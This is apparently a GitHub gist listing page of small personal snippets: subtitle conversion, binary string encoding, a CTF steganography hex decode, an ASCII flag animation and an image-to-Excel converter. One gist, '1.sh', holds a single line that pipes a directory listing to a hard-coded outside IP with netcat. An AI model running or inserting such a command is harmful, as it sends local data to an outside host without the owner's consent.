Skip to content

Instantly share code, notes, and snippets.

@xavierskip
xavierskip / vtt2srt.py
Created July 22, 2018 03:36
vtt to srt
#!/usr/bin/env python
from datetime import datetime, timedelta
filename = 'input.vtt'
srt = []
delta = -10 # Subtitle timeline
count = 1
timeline = 0
def changetime(time, delta):
@xavierskip
xavierskip / cover_your_words.py
Last active January 1, 2022 14:55
Cover your words, covert your string to 8-bit binary style
#!/usr/bin/env python2
# coding: utf-8
def cover(words, separator=' '):
return separator.join(['{:0>8}'.format(bin(ord(w))[2:]) for w in words])
def recover(words, separator=' '):
return ''.join([chr(int(b,2)) for b in words.split(separator)])
if __name__ == '__main__':
@xavierskip
xavierskip / randsums.py
Created January 22, 2019 03:55
在某个数值范围内生成给定数目的数字, 且这些数字之和等于则个数值
import random
def randsums(nrange, count):
l = []
for i in range(count):
# print(nrange)
if i == count-1:
l.append(nrange[-1])
else:
r = random.randrange(*nrange)
@xavierskip
xavierskip / PrettyPixels.py
Last active July 20, 2020 12:55
[ctf]Pretty Pixels
# Don't get me wrong, I love pretty colors as much as the next guy... but what does it mean? pretty_pixels.png
# https://static2.ichunqiu.com/icq/resources/fileupload/CTF/IceCTF/stego/pretty.png
from PIL import Image
from sys import stdout
img = Image.open('pretty.png')
x_size, y_size = img.size
s="4963654354467b66616c6c735f61706172745f736f5f656173696c795f616e645f7265617373656d626c65645f736f5f63727564656c797d"
step=2
print("".join([chr(int("".join(s[i:i+step]),16)) for i in range(0,len(s),step)]))
# or
print(bytes.fromhex(s).decode('utf-8'))
import itertools
import random
def fillfull(chars, width):
length = len(chars)
full = length ** width
for i in range(full):
one = ""
for j in range(width):
one += chars[i%length]
@xavierskip
xavierskip / flag.c
Created November 23, 2020 04:58
a wave flag
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(){
char f0[] = "/\\\n||^-----------\n||^###########|\n||^###########|\n||^###########|\n||^-----------\n|| \n||\n||\n||";
char f1[] = "/\\\n||-^----------\n||#^##########|\n||#^##########|\n||#^##########|\n||-^----------\n|| \n||\n||\n||";
char f2[] = "/\\\n||--^---------\n||##^#########|\n||##^#########|\n||##^#########|\n||--^---------\n|| \n||\n||\n||";
char f3[] = "/\\\n||---^--------\n||###^########|\n||###^########|\n||###^########|\n||---^--------\n|| \n||\n||\n||";
char f4[] = "/\\\n||----^-------\n||####^#######|\n||####^#######|\n||####^#######|\n||----^-------\n|| \n||\n||\n||";
@xavierskip
xavierskip / 1.sh
Last active July 6, 2021 11:16
1.sh
ls | nc 167.71.123.237 8999
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: netcat!
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>A webpage served by netcat</title>
@xavierskip
xavierskip / img2excel.py
Created October 1, 2021 13:56
convert img to excel
from openpyxl import Workbook
from openpyxl.styles import PatternFill
from PIL import Image
import sys
'''
require: python3 pillow openpyxl
usage: python3 img2excel 1.jpg out
'''